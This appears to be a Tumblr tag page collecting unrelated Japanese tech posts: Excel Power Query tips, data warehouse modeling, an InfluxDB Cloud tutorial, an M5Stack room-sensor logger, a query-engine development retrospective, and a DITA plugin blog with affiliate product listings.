Tumgik
#クエリちゃん
hiyoko-channnel · 2 years
Text
【Excelクエリ講座 入門編】実習の復習動画
ストアカ講座の『Excelクエリ講座 入門編』実習で行った、クエリを使う集計の復習動画になります。 一発撮りですのでカット等の編集は行っておりません。 動画自体のクオリティについては、お察しください。 千葉悠市 ■ストアカ講座:Excelクエリ講座 入門編 200万行のデータ集計を5分で自動化 ■ストアカ教室ページ
Tumblr media
View On WordPress
0 notes
kennak · 1 year
Quote
Data Warehouse について考える: 前はなんとなく DW の ETL というのはログからゴミをとってクリーンにするくらいなのかと思っていたが、いま仕事で触ってるデータはそれより随分色々やっている。 たとえば食堂にアクセスログがあるとしたら、店に入って席について注文して飯食ってデザートは断ってチェックして帰る、コーヒーは二回足してもらった・・・という「来店」のような単位がきちんとモデル化されている。一方、素のログは個々のアクションがフラットに入っているだけである。 SQL マスターであればそういうフラットなログからモデル化されたビューを作ることはできるかもしれないが、素人が正しくやるのはかなりムリである。なのでビューなのかマテリアライズするのかはともかく組織として統一されたモデルが必要。でないとエンドユーザである機能開発者や PM ちゃんが雑なクエリを書いてデータを読み間違えたりする。 たとえばトイレをきれいにするにあたり改築前と改築後でトイレの利用頻度や滞在時間の違いを調べたい、統一さえた「来店」モデルがあれば、そこにしかるべき形でトイレ情報を足すのはわりかし簡単である。つまり ETL のコードを git blame して一つ前の変更を特定し、それをインテリジェントにコピペすればよい。 クエリするときも、整備されたモデルがあれば SQL はシンプルで、PM ちゃんが適当にコピペ SQL しても大きな問題はない。一方で素のログしかないと、昔データサイエンティストにもらった SQL を適当にコピペ改変して使う、しかしその SQL は古すぎてデータバグの回避コードが抜けている、みたいなダサい失敗がおこる。 データサイエンティストから貰った SQL で素のログをクエリしていたのは(PM ちゃんではなく)何年か前の自分なわけだが、よくなかったね。ある種のレイテンシの調査が目的でカネが絡んでいなかったからいい(だから適当にやっていた)けど、やはりゴミの除去とかは必要で、正しいモデルがあってしかるべきだった。が、なかった。 その後、できるチームメイトが DW をつくってくれたのでその手の仕事はラクになった一方、今思うと採用されていたモデルはそんなに良くなかったね。だから統一モデルのを持つ良さには思いが至らなかった。最近仕事で触っている DW はモデルよくできており、なるほどなと思う。 つまり DW にはデータのクリーンアップというミクロな役割とモデル化というマクロな役割がある。自分は前者は理解していたが、後者の有り難みをわかっていなかった。
Data Warehouse Modeling? – Spinach Forest
3 notes · View notes
Text
「御郷が知れますわね!」と言われそうな私の愚痴について無駄に長い釈明文
「クソが!」
独り言にしては少し大きめな声が、私の口から漏れた。
Tumblr media
我ながら端ないと思う。しかし泥水すすりっぱなしの私らしい独り言だ。
平和な休日を陰気で鬱々とした気分でスタートしているように思えるかもしれないが、否定しておく。
少なくとも今日という休日は、清々しいスタートを切った。(なんせ前日までの疲労蓄積で、12時間寝たからね!)
ではなぜ……あの様な下衆な言葉を吐くに至ったのか……。
事件のキッカケと始まり
「外暗っ!マジで!?ウケる!」
今から約12時間前のAM1:00。私の休日がスタートした。
最近の私はといえば、まったく進んでいなかったhtml/css、javascript、phpという言語を同時進行的に学んでいる。
なぜこんな無茶をやっているか。
頭の中にある作りたいコンテンツイメージを実現するため、静的、動的のコーディングを同時に学ぶ必要があるため
同時である必要はないのだろう。むしろ同時にやっちゃいけない気がする。
たぶん、おそらく、きっと、世の中のエンジニアは
HTML
CSS
Javascript(もしくはPHP)
といったように順番に勉強を進めてきた人々だ。途中、さまざまななフレームワークに触れつつ……。
私はといえば、これらをごっちゃ混ぜにして勉強を進めている。
もしこの記事を読んでいるあなたが、「いや、そんなの普通でしょ。普通みんなそうだから。」と思われたなら、一言だけ言っておく。
「うるせぇハゲ!お前と違って俺はバカなんだよ!いいな!頭良くってよ!」
安心してほしい。誹謗する気も罵倒する気もない。これは賞賛だ。褒め言葉だ。
話が逸れた。
要は今日という休日も、コーディングの勉強に費やしているのだが、その始まりが12時間前。
活動限界という足音は、すぐそこにまで近づいていた。
勉強の成果
「いや〜、頑張ったおかげで、作りたいと思ったコンテンツもサッと作れるようになったんですよ」(埼玉���住 ・40代男性)
Tumblr media
と言いたいところだが、進捗は5%くらいだ。
「お勉強同時進行の弊害」以外の何物でもない。
さすがに「<head><meta うんちゃら><body>うんちゃら〜」とか、box-sizingといった基本構造的なことは覚えた。
おそらく簡素な静的サイトくらいなら作れると思う。
しかし、人間は欲深い生き物だ。
「ここの画像、スライドにしたいよな〜」
「よくある横にスライドするピックアップ記事とかもカッコいいよな〜」
「勉強のためにサーバー契約するのもアレだし、GoogleDriveを活用したいな」
などと、淡く浅はかな欲望に支配されている私。
「満たされたい!」という気持ちが先行しすぎて、書籍と参考サイトを行ったり来たりしている。決してたどり着かない、道もわからない、なにかを目指してとりあえず進んでいる。
結果、なにかが進んだのかどうかすらわからない。
現在に至る
「へ〜、安易にフレームワーク使うとサイトスピードに影響するのか……」
「ってことは、CSSとかスクリプトは直書きしちゃえばいいのかな?」
「あれ?そもそも最新記事とかってどうやって表示すんだ?」
「これphpとJSどっちでやるんだ!?」
すごい!
何がすごいって、情報に惑わされ具合がすごい。ぜんぜん正解に辿り着けない。
一つ学んだかと思えば、それを全否定するかのような情報に出くわす。
たとえ正解らしき情報が見つかっても、「SEOや見栄えとか考慮すると正解じゃない気がする……。」と自信がなくなる。
そして徐々に私の検索能力がエネルギー切れに近づいてるのか、グーグルというインターネッツに表示されるのは、クエリとは程遠い検索結果ばかり。
Tumblr media
欲しいものが手に入らないストレス。
何度も何度も検索するのに、インターネッツが壊れてるとしか思えない。
「なりたい自分になろう!」なんて、夢見るだけバカだ。
ぜんぜん満たされない……。
そして、悲劇は起こった。
Tumblr media
私の中にいる、もう一人の私が目を覚ましてしまった。
「クソが!」
「アクセス伸ばしたいからって適当なこと書きやがって!」
「この記事もその記事も、こっちの本もそっちの本も!」
「地球滅亡しろ!」
「ぜんぶ!ぜーんぶ燃やしちゃうの!」
まぁ冗談なんですけどね
私は勉強が苦手なので、どうしても非効率な方法になりがちだ。
とどのつまり、今日もまぁ疲れました。
物事を完全に理解できたとき
「点と点が繋がった!」
という表現を目にするが、私の場合
「点だけで絵を描くアートのかたですか?」
というくらい、自ら点を増やしてしまう悪癖がある。当然、点が繋がるまで人より時間がかかる。
ただし点が繋がり始めたらその後は早い。それまで蓄積してきた点が、一気に線になる。
自分で言うのもだが、こういう性格が功を奏しているのか、他人より高いパフォーマンスを出せる人と思われがちだ。几帳面な性格も手伝って、品質も割と高い(はず)。
まとめ
いかがでしたでしょうか。
お腹が減ったので何か食べようと思います。
1 note · View note
mediba-ce · 2 years
Text
時系列データベース InfluxDBを使ってみた
この記事はmediba Advent Calendar 2022の12日目にエントリーされた記事です。
はじめに
株式会社medibaの@zuuundayoと申します。テクノロジー統合UNIT内のSREチームのメンバーです。 Advent Calendar向けの良いネタがあまり思いつかなかったので 個人で時系列データベースを触ったことを共有します(ちょっと今更感ありますが)。
時系列データベースとは
雑に説明すると時間と値の組み合わせデータ(時系列データ)を対象としたデータベースです。 リレーショナルデータベースなどもこのようなデータの取り扱いが可能ですが、 特化したデータベースが作られているのには理由があります。 IoT製品のセンサーから観測されたデータなどはリアルタイムに利用されたりするので絶え間なくデータが送り続けられて来たりします。 このような状態で取りこぼさずにデータを格納したり、時間や値を元にデータを素早く引っ張り出す機能にニーズがあるためです。
IoTが幅広く普及してきた近年では、Amazon Timestreamなどのマネージドな時系列データベースも登場したりしています。
なんで触ろうと考えたのか
個人でリアルタイムに投票するシステムを作ろうと考えました。 RDBを採用すると汎用的な用途ゆえ機能が多すぎてオーバースペックな気がするし、 シンプルな形でデータを簡単かつ高速に集計する仕組みが良かったので時系列データベースを採用してみることにしました。
InfluxDBとは
InfluxDB https://www.influxdata.com はオープンソースな時系列データベースです。 いろいろな方が性能や使い勝手を比較されていますが それらを参考にお手軽に利用できそうだなと判断して採用しました。
他の時系列データベースはRDBの拡張モジュールだったり、有料だったりしたので お手軽感のあるこちらを選んでます。
InfluxDBにはマネージド版のInfluxDB Cloudが存在しており、なおかつFreeプランが存在しているため 個人での利用に嬉しいメリットがあります。今回はマネージド版のFreeプランを使ってます。
セットアップ
InfluxDBのサイトからInfluxDB Cloudの会員登録を行います。登録すると管理コンソールにアクセスできます。
Tumblr media
まず最初にBucketsメニューでBucketを作成します。BucketとはRDBのテーブルみたいなものでデータを放り込む場所になります。
Create Bucketボタンを押すとメニューが出てくるので名前とデータの有効期限を設定します。
Advanced ConfigurationではBucket Schema Typeを選べます。今回はImplicitを選びます。
Implicitを選ぶとSchemaが暗黙的となりSchemaが強制されません。
Explicitを選ぶとSchemaが強制されるので形式があっていないデータは格納できなくなります。
ただし、一度スキーマを設定するとあとからカラムを変更できず新規追加しかできないそうなのでご注意を。
Tumblr media
利用方法(簡易的に試す方法)
結構親切に体験する方法を教えてくれるのであまり書くことないですが、注意事項等書いておきます。
バケットが作成できるとバケットの一覧から作成したバケットの欄のADD DATAボタンをクリックします。
クリックするとメニューパネルが出てくるのでClient Libraryをクリックします。CSV Uploadなどのボタンもあるのでからもデータをインポートできるようです。
Tumblr media
Client Libraryをクリックすると様々な言語が出てくるのでお好きな言語をクリ��ク。ここではPythonを選びます。
Tumblr media
ページを移動すると親切にウィザード形式でセットアップ方法を指示してくれます。
まずはローカルにクライアントモジュールをインストールします。
pip3 install influxdb-client
次にトークンを発行し環境変数に追加するよう指示されます。
ウィザードで自動的に発行されたトークンはすべての権限が付与されたものになるので非推奨であるそうです。実際に利用する際はAPI Tokensのメニューから特定のバケット等に権限を絞ったトークンを発行して利用しましょう。
クライアントの初期コードが出てくるので指示通り、Pythonのインタプリタにコードを入力する。
続いて今回作成したバケットにデータを送信するコードが出てきます。今回作成したバケットを選択するとコードも自動的に修正してくれます。
ここでのコードは0から4までの値を1秒おきに送信するコードです。
下の欄にデータが取得されたかを確認するボタンがあるので、確認してみてください。うまく行ってると"Connection Found!"と表示されます。
次の画面では送信したデータをFlux Queryで確認する方法が表示されます。管理画面のData Explorer上でもクエリ叩けますがPython上で叩くコードも表示されます。
うまく行ってると下記のように時系列データが表示されます。Data Explorerで表示させると画像みたいな感じです。
Tumblr media Tumblr media
利用してみての感想
Cloud版はマネージドなだけあってセットアップを簡単に行うこともできましたし、 APIのリファレンスなどのドキュメントも分かりやすい方なので使い勝手は良いです。 何よりシンプルな設定でサクッと時系列データをとりあえず保管して可視化するには便利なので皆さんも利用してみてはいかがでしょうか。 現在はそこまで大きなワークロードで活用しているわけではないのでデメリットは使っているうちに見えてくると思います。 ここには書いていませんがFlux Queryは監視ツールなどによくある時系列データに対する様々な集計関数があったりするので使ってみると面白いですよ。
終わりに
個人的な試行をAdvent Calenderにしてしまいましたが、決して会社の中で何もやっていないわけではないですという言い訳をしておきます(汗)。
微妙にネタかぶりしてしまったんです。はい。 今弊社のSREチームでは、絶賛メンバーを募集しております。 チームメンバーには業務だけでなくプライベートでも様々な活動されている方々もいらっしゃるので雰囲気を知りたい方はお気軽にお問い合わせください ( https://hrmos.co/pages/mediba/jobs/1100000001 )。 最近はフルリモート勤務での採用も開始してます!
0 notes
izuru-chibi · 4 years
Photo
Tumblr media
クエリちゃん(クエリ・ラヴクラフト) ポケット・クエリーズ社のAI搭載アンドロイド。 https://twitter.com/grifonbk/status/1370056698849677313
0 notes
aokn-kytjp · 4 years
Text
Bhattacharjee, Robi, and Kamalika Chaudhuri. "When are Non-Parametric Methods Robust?." arXiv preprint arXiv:2003.06121 (2020).
https://arxiv.org/abs/2003.06121
概要:ノンパラ推定のロバスト性を測る尺度として,(well-separatedなデータを仮定するときに) クエリ位置がどれくらい摂動しても予測値が変わらないか(r-consistency)+accuracyを合わせたastutenessという尺度を導入して,近傍法やkernel classifiersがr-consistentだけれどもhistogramはr-consistentでない,など個別の手法の性質を調べた
補足:後半にadversarial attackに対してのrobustnessが書いてあるらしいがちゃんと読んでいない.https://arxiv.org/abs/1906.03310 の話らしいのでそちらを読みたい.
1 note · View note
charlietokyojp · 5 years
Link
確かにシリコンバレーじゃなきゃダメな理由はなくなったと思うが、時系列的に意外な点がいくつかあった。
彼がシリコンバレーに引っ越した時は19歳で、「会社を設立することについて何も知らず」、そして「企業を構築するためのツールの多くは、現在ほど整備されていなかった」という。
「何も知らず」はしょうがなくても、起業環境については意外。Wikipediaには2004年に大学内でFacebookを立ち上げたとある。
私はパソコン通信(笑)で小銭を稼ぐようになったのが1995年で「CD-ROM元年」とか言われていた頃(笑)。ちなみにパソコンを持ったのは「マルティメディア元年」と呼ばれた1994年。
2001年には株式会社を設立したが、簡単で拍子抜けしたくらい。まだ資本金1,000万円以上、3人の取締役と監査役が必要だったのでその点は今の方がお手軽。
当時はドットコムバブル崩壊後のハイテク業界の低迷の中で、ベンチャーキャピタルを見つけることはおろか、フェイスブックを立ち上げるために必要なサーバやデータセンターを手に入れることも困難だったという。彼はこれらすべての問題の解決策を見つけるためにシリコンバレーに来なければならず、「それは本当に不可能に思えた」と言う。
これもかなり意外。
私は最初にサーバーのスペースを借りたのは1996年。確かに当時はまだショボかったが、Unixサーバーをデーターセンター(横浜)にまるごとハウジングしたのは1999年。この頃には選択肢は少なくてもそれなりの環境が手に入っていた。
/* 資料中の「KByte/秒」と「Kbit/秒」を間違えている会社もあり(すなわち8倍または1/8ズレる)、業界全体に素人臭は漂っていたが、それでも皆やる気があった。 */
当時はPerlでコードを書きテキストファイルを読み書きしていたが、2000年にはPHP/MySQLに移行し、ハウジングした自前パソコンサーバーで1日に10億クエリ超をさばいていた(東京)。
個々のレベルの低さや精度の低さに呆れることは日常茶飯事だったが、全くもって「環境が整っていない」状態じゃなかった。日本は。
2004年にもなると“全て”が揃っていた。私の作業場とデータセンターとの間に1Gbps専用線を引いていたが、月80万円ほど支払っていた。通信料金には難ありだった(世界共通だろう)。
同2004年、同じマンション内にある自宅とオフィスと親の住まいを光ケーブルで接続し(SC/LCコネクタ付きのHPのスイッチは60万円くらいしていた)、IP電話を自宅とオフィスのどちらでも取れるようにした。お金はかかっても「やりたい放題」というくらい環境が整っていた。
/* ちなみにマンション購入時は世間ではまだADSLが主流だったが、新築マンションにはようやく100Mbpsの宅内LANが標準でついているという時代だった。私は既に工事が始まっている(2001年)現住まいの売主と施工会社に「将来に向けて光ケーブル用の空配管を設置すべき」(同時に宅内はカテゴリ6ケーブルに)と提案し、即座に受け入れられた。そのおかげで、24芯の光を宅内まで何本も引き込むことができ、宅内LANも1Gbps通信に難なく対応し今もなお色褪せてない。当時既にマンション業界にも「ものわかりの良い人達」がいたということだ。 */
という具合に、東京が進んでいたのか、アメリカ北東部が遅れていたのか。
私は理系出身ではないが(文系でもないが)、ザッカーバーグは計算機科学専攻とある。独壇場だっただろうと思うんだがそうではなかったということか。
考えられるのは、オタクでコミュニケーション能力が低く(笑)、いろんな手続きが困難に感じられただけかもしれない。
確かに何をするにもイチイチ人と会う必要があり、メールよりも電話、電話よりも直接会ってという人がほとんどで手間がかかる時代だった。
その点シリコンバレーはオタクだらけで仕事しやすかったというならナルホドと思うし、今では世界中オタクの方がスタンダードになってきているので、彼らにとっての“居心地”としてはシリコンバレーじゃなくても良いということかもしれない。
「単一文化ではない会社を作ることには多くの利点がある」と彼は言い、「シリコンバレーはテクノロジーオンリーの街であるため、人々の考え方に多様性がない」と付け加えた。
もっともだと思うが、世界中の99.8%の人にとってはまだシリコンバレーでも十分というかメッカだろう。
スタートアップ期と違い、大きな組織を率いるようになるとより多様性の理解を必要とする。マネージメントに限らずロゴのデザイン1つとってもそうだし、世界中の法律や文化、宗教の知識を持ってないと、投稿の削除・フィルタリング1つが大問題になったりする。
だから現在の彼の地位をもってして「テクノロジーオンリーのシリコンバレーは選ばない」ということだと読み解けるが、成功するまでは十分過ぎる舞台であることにかわりない。
成功するまではということは圧倒的大多数の人が成功しない事を考えると、彼の来世(笑)の話だと思って聞くくらいがちょうどいいんじゃなかろうか。
成功者とは場所を選ばない。どこからでも生まれ、どこででも育つ。
と私は思う。
3 notes · View notes
chigaillust · 8 years
Photo
Tumblr media
http://www.query-chan.com/様にて
カラー4コマ漫画「がんばれクエリちゃん」連載中です
0 notes
masayuki038 · 3 years
Text
202104 Retrospective
Tumblr media
4 月振り返り。
仕事
新しく参加しているプロジェクトは、コードを読んだり、リーダーや開発チームに色々教えてもらいながら、開発に専念できるようになってきた。結果的に、細かいところまである程度仕様を確認してから開発に入る形になった。しかし、今振り返ってみるともう少し前に開発に入った方が良かったのかもしれない。良かったというか、期待された動きに近い、というべきか。今の開発内容は実現できることが分かっているので、内容を把握してから進めた方が手戻りが少ないかな、と思っていたが、先月の時点でちゃんとそのあたりの目線合わせするべきだったかも。ゴールは明確になったので、暫くは開発を楽しめそう。
VSCode の Remote Development を使い始めた。思っていた以上に普通に開発できてとても良い。あとは VSCode をもっとうまく使えるように、面倒臭がらず調べながら進めていこうと思う。「こういう機能あるだろうな」と思いながらスルーするのを極力止めて、時間がなくてもちゃんと調べてちゃんと使う。
健康
Freeletics はまだ続けている。"地獄の一週間"の後半で肩に痛みが出るようになり、4 月前半に一週間ほど休んだ。それ以降は続いている。ただ、朝起きると背中や肩が痛いことが多くなってきており、気になり始めている。クールダウンも一通りやってるので、ストレッチ等が不足しているわけではないと思うんだけど。それ以外は不調らしい不調はない。
開発
Graal/Truffle を使ったクエリエンジン実装は、100 GB くらいのデータを用意してプロファイリングしてみた。まず Aggregation の処理で集計結果を格納する際にそのグループの結果をすでに保持しているかどうかのチェックしている Truffle の nodes の execute が一番重く、次いで集計結果の一時格納の HashMap.put、HashMap の key 生成という順序。データのロードはそれよりも下だった。
Truffle の execute は実行の最適化がされている様子がなく、そのあたりを調べているうちに、Truffle 側で Calcite の実行を行うと RuntimeException が出るようになってしまった。Truffle 側に色々詰め込んでしまっているのは分かっていたので、Calcite は Truffle の外で動かすように変更中。
また、この変更に伴い、クエリの処理を行う中間言語を作ってみることにした。これまでは特に言語を作らずに Calcite の Algebra から Truffle の Node を直接構築していたが、各 Node のリレーションを強引に解決していたり、1 つの Frame / FrameDescriptor を各フェーズごとに存在するように見せるような仕組みを使っていて、debug しづらい難点があった。あいだに中間言語を挟むことによってこれらも解決したい。まずは中間言語を作ってみて、組み込むまえに先のボトルネックが解消できるかを確認してみようかな、と。
英語
英語の MTG が厳しい問題は、ちょっとずつではあるが改善してきている(ような気がする)。直近は汎用的な英語スキルの向上ではなく、開発メンバ間で行われる MTG の内容の理解度を上げることに集中する。まだまだ speaker によって聞き取れる具合に差があるので、録画した MTG の内容を聴き返しながら慣れようとしている。
定期的な MTG であればテーマも分かっているので聞き取りやすいんだけど、新しい用語が出てくるとすぐに迷子になる。先日も「.. Array が…」みたいな話があって、ずっとクラスタの中にあるストレージの Disk Array の話をしているのだと思っていたら、実は「array」ではなく「RA」だったり。英語の前に用語に慣れる必要がある。
暫くは MTG の議事録も作ることにした。それに伴い、平日は英語に時間を使う割合が増えてきている。
(Amazon へのリンクにはアフィリエイトの ID が埋まっているので、気になる方はご注意を)
Tumblr media
Akka実践バイブル アクターモデルによる並行・分散システムの実現
posted with AmaQuick at 2020.11.01
レイモンド・ロステンバーグ(著), ロブ・バッカー(著), ロブ・ウィリアムズ(著), 前出 祐吾(著), 根来 和輝(著), 釘屋 二郎(著), 前出 祐吾(翻訳), 根来 和輝(翻訳), 釘屋 二郎(翻訳) 翔泳社 (2017-12-13T00:00:00.000Z)
Tumblr media
¥4,752
Amazon.co.jpで詳細を見る
Akka 本はちょうど 15 章まで完了。akka-cluster の話はとても面白かった。いずれは今作っているクエリエンジンを akka-cluster を使って分散処理させてみたい。Akka 本の残りは 1 章とちょっと になったので、次のテーマを探さないと。
音楽
今月は「ethereal jazz for a new generation」というコンピを聴いてることが多かった。出自とか全然知らないんだけど、どの曲も良い。
youtube
「七曜日」とか「Tabla'n'Rap」とか好きで YouTube でよく聴いてたので、配信されるようになって嬉しい。
youtube
dnb 繋がりで、Finger Drum 'n' Bass。特に Amen Break のは、プログラミングされたものと変わらないレベルで演奏できててスゴい…。
youtube
0 notes
hiyoko-channnel · 2 years
Text
パワークエリで四捨五入するなら絶対に知っておいてください【Excel Power Query Round 偶数丸め 銀行丸め】
パワークエリで四捨五入するなら絶対に知っておいてください【Excel Power Query Round 偶数丸め 銀行丸め】
パワークエリには『丸め』という機能があり、小数点以下の数値を簡単に四捨五入することができます。 ところが、パワークエリで四捨五入すると、ワークシート関数の『Round』を使って四捨五入した数値とは異なる結果となる場合があります。 こちらの動画では、パワークエリで四捨五入した場合の動きと、ワークシート関数の『Round』と同じような四捨五入をする方法について解説します。 千葉悠市 ====================== ■ 動画で使用するファイル ====================== 動画内で使用しているExcelファイルは、noteに投稿している記事内で提供しています。 ====================== ■ オンライン講座 ====================== Excelの使い方を学ぶことができるZoomを使ったオンライン講座をストアカで開催しています。…
Tumblr media
View On WordPress
0 notes
zunkopic · 3 years
Photo
Tumblr media
クエリちゃん、今までありがとうございました\(💚ず・ω・だ💚)/ https://t.co/lhOF5PivUp (via Twitter http://twitter.com/t_zunko/status/1377244394865090564)
0 notes
kanmi-tech · 4 years
Text
部屋の環境が気になる2021
組み込みFW開発界隈にも在宅勤務の波がやってきました。 やっぱりそうなるとやっぱりお部屋の環境が気になりますよね。 ということで今日はおうちにあるおもちゃで手軽に部屋の環境を可視化していきます。
二酸化炭素も気になりますがセンサが高いのであきらめて、部屋にあった温湿度センサでログとっていい感じに可視化していきます
Tumblr media
ハードウェア編
温湿度センサ
部屋にあったのでこれをつかった 今回の構成だとI2Cで取れればなんでもいい
コントローラ
学習リモコンになっていたM5Stack ATOM Matrixがあったのでこれをつかう M5Stack用赤外線送受信ユニットがぶら下がってるけど、今回は出てこない
参考資料
以下を参考にすすめてく https://github.com/m5stack/M5Atom
ピンアサイン等
このシリーズには加速度・ジャイロセンサが入っててI2Cでつながってる 入ってるのはおそらくこれと同じやつ https://www.switch-science.com/catalog/6623/
PinMapを見るとIMUにはSDA:GPIO25, SCL:GPIO21でつながっているらしいのでここにSHT31もつなげておく 今回は湿度センサのADRはGNDに落としておく // ATOM Matrixをひっくり返してUSBコネクタを手前にしたときに、右側の4ピン全部使うはず
HW的にはこれでOKのはず
ソフトウェア編
今風な感じ(?)にしたかったので、influxdbに入れたデータをGrafanaで可視化する構成にする
時刻を取りたいのでNTPで同期
https://github.com/esp8266/Arduino/blob/master/cores/esp8266/time.cpp#L131
InfluxDB Line protocolに合わせてデータを作る
まじめにやるならタグとかつけるけど、自分はワンルームなので…
sprintf(buffer, "room_env temperature=%f,humidity=%f %ld000000000", temp, humi, mktime(&timeInfo));
データの流し込み
あとはHTTPで適当にPOSTするとデータを放り込めるので、適当にまとめてTickerで適当な周期で起動するといい感じにデータがたまってく
HTTPClient client; client.begin("http://the server:8086/write?db=room_env"); client.addHeader("Content-Type", "application/json"); client.POST((uint8_t*)buffer,strlen(buffer)); client.end();
Grafana
適当なダッシュボードにパネルを追加する クエリはお好みでいいと思うのだけど、自分はこんな感じにした これは温度だけど湿度側も同じような感じでうごく // 足切りをしてるのはセンサデータのCRCを見てなくてたまに変なデータがくるため
SELECT mean("temperature") FROM "room_env" WHERE "temperature" > 5 and $timeFilter GROUP BY time($__interval) fill(null)
まとめ
数値で現れるとちゃんと加湿器つけなきゃ…ってなるのでよい 加湿器を付けるとガンガン湿度が上がってそれを見ていると調子がよくなってくる気がする
グラフになるとかっこいいけど、縦軸の振れ幅とかが雑なのでいい感じに固定したほうがいいかもしれない Grafanaの設定をいじればできるはず(だけど面倒なのでやってない)
0 notes
sfujioka1 · 4 years
Text
情報開発と利活用20210101
情報開発と利活用20210101
https://ameblo.jp/sfujioka1/ テーマ:ブログ
”政府は国民全員を救うことができる”
========================================
インターネット・コンピュータランキング
========================================
ネットサービスランキング
========================================
アサヒ飲料 カルピス Lパック 1L 紙パック(口栓付) 1ケース(6本) 【送料無料】楽天株式会社3,648円\最安値に挑戦/炭酸水 強炭酸水 【同種48本セット】伊賀の天然水 強炭酸水 500ml 炭酸飲料 まとめ買い ドリンク 500ミリリットル ペットボトル 飲み物 ソフトドリンク スパークリング 割り材 SANGARIA サンガリア プレーン レモン グレープフルーツ 【D】楽天株式会社2,830円ハイセンス 55V型 4Kチューナー内蔵 液晶テレビ 55U7F Amazon Prime Video対応 2020年モデル 3年保証アマゾンジャパン合同会社82,800〜125,180円ビデオカメラ Rosdeca デジタルビデオカメラ ウェブカメラ 4K 4800万画素 WIFI機能 16倍デジタルズーム+8倍スーパーズーム IR赤外線暗視機能 デジタル補正 270度回転画面 予備バッテリー付属 望遠レンズ搭載 3.0インチタッチパネル 外付けマイク 日本語取扱説明書 カメラポーチアマゾンジャパン合同会社25,999円【48本入】トロピカーナ 100% オレンジ 330ml PET 送料無料 KIRIN Tropicana フルーツジュース セット ペットボトル 飲み物 栄養補給 キリンビバレッジ 【D】楽天株式会社5,481円青森りんご ふじ 280ml 24本入 | 送料無料 JAアオレン りんごジュース ストレート ジュース 無添加 ペットボトル りんご リンゴジュース ストレートジュース 飲み物 ケース アップルジュース ドリンク セット 内祝い お返し ギフト プレゼント 果汁100%楽天株式会社3,980円【24本入り】健康ミネラルむぎ茶 PET650ml 飲料 まとめ買い ドリンク 飲み物 ペットボトル 水分補給 麦茶 カフェインゼロ むぎちゃ ミネラル 伊藤園 【D】楽天株式会社2,880円ウェルチ 100%果汁ギフト 記念品【送料無料】御歳暮 お歳暮 クリスマス お年賀 秋ギフトセット☆食品 ジュース 飲み物 詰め合わせ 出産内祝い 結婚内祝い 出産祝い 結婚祝い 引き出物 お祝い お返し 香典返し 快気祝い お祝い返し メッセージカード楽天株式会社3,240円\最安値に挑戦/炭酸水 強炭酸水 【同種48本セット】伊賀の天然水 強炭酸水 500ml 炭酸飲料 まとめ買い ドリンク 500ミリリットル ペットボトル 飲み物 ソフトドリンク スパークリング 割り材 SANGARIA サンガリア プレーン レモン グレープフルーツ 【D】楽天株式会社2,930円
NEW!2021-01-01 13:01:16
テーマ:ブログ
プラグインで DITA 出版を強化(3)
Export DITA Map Plugin [Bundled]DITA マップ 吐き出しプラグイン[セット販売]You can use this free plugin to create a ZIP file from your entire DITA project. The plugin also takes filters/profiling into account when including topics.あなたの全部の DITAプロジェクトから zip ファイルを作成するためこのプラグインを使うことができます。 プラグインはまたトピックを含めるとき、フィルター / プロファイリングを考慮に入れます。Publish DITA Content with References to Video and Audio Resources. [Bundled]AVリソース関してDITAコンテンツ 出版[セット販売]A DITA Open Toolkit plugin that converts the DITA <object> element to various HTML 5 structures such as <video>, <audio>, or <iframe>.DITA→< オブジェクト> 要素を変換するDITA オープンツールキット プラグインは <ビデオ>、 <オーディオ>、あるいは <iframe>のようなさまざまな HTML 5 構造に変換します。Plugin That Adds Edit Links in HTML or PDF-based Outputs [Bundled]HTML あるいはPDFベースのアウトプットでエディットリンクを付け加えるプラグイン[セット販売]This plugin adds edit links in the HTML or PDF-based outputs allowing subject matter experts to give feedback on the published content directly using a DITA web editing tool (such as Oxygen XML Web Author).このプラグインは HTML あるいはPDFベースのアウトプットでリンクをエディットします。直接 DITA Web 編集ツールを使って出版された内容の上に専門家がフィードバックをすることを可能にしている(Oxygen XMLウェブオーサー)Create Single Merged XML Document From Entire DITA Project [Bundled]全部の DITA プロジェクトから一つのマージされたXML文書を作成してください[セット販売]This plugin produces a merged output from the entire DITA map structure without further processing. It is useful if you want to further process the merged XML document for producing various reports.さらなる処理なしで全部の DITA マップ構造からマージされた出力を このプラグインは作ります。 もし、種々の報告書を作るため、あなたがさらにマージされたXML文書を処理することを望むなら、有用です。
========================================
インターネット・コンピュータランキング
========================================
ネットサービスランキング
========================================
アサヒ飲料 カルピス Lパック 1L 紙パック(口栓付) 1ケース(6本) 【送料無料】楽天株式会社3,648円\最安値に挑戦/炭酸水 強炭酸水 【同種48本セット】伊賀の天然水 強炭酸水 500ml 炭酸飲料 まとめ買い ドリンク 500ミリリットル ペットボトル 飲み物 ソフトドリンク スパークリング 割り材 SANGARIA サンガリア プレーン レモン グレープフルーツ 【D】楽天株式会社2,830円ハイセンス 55V型 4Kチューナー内蔵 液晶テレビ 55U7F Amazon Prime Video対応 2020年モデル 3年保証アマゾンジャパン合同会社82,800〜125,180円ビデオカメラ Rosdeca デジタルビデオカメラ ウェブカメラ 4K 4800万画素 WIFI機能 16倍デジタルズーム+8倍スーパーズーム IR赤外線暗視機能 デジタル補正 270度回転画面 予備バッテリー付属 望遠レンズ搭載 3.0インチタッチパネル 外付けマイク 日本語取扱説明書 カメラポーチアマゾンジャパン合同会社25,999円【48本入】トロピカーナ 100% オレンジ 330ml PET 送料無料 KIRIN Tropicana フルーツジュース セット ペットボトル 飲み物 栄養補給 キリンビバレッジ 【D】楽天株式会社5,481円ウェルチ 100%果汁ギフト 記念品【あす楽】【送料無料】御歳暮 お歳暮 クリスマス お年賀 秋ギフトセット☆食品 ジュース 飲み物 詰め合わせ プレゼント 出産内祝い 結婚内祝い 出産祝い 結婚祝い 引き出物 お祝い お返し 香典返し 快気祝い お祝い返し メッセージカード楽天株式会社2,799円
NEW!2021-01-01 12:26:03
2テーマ:ブログ
先端技術情報20210101
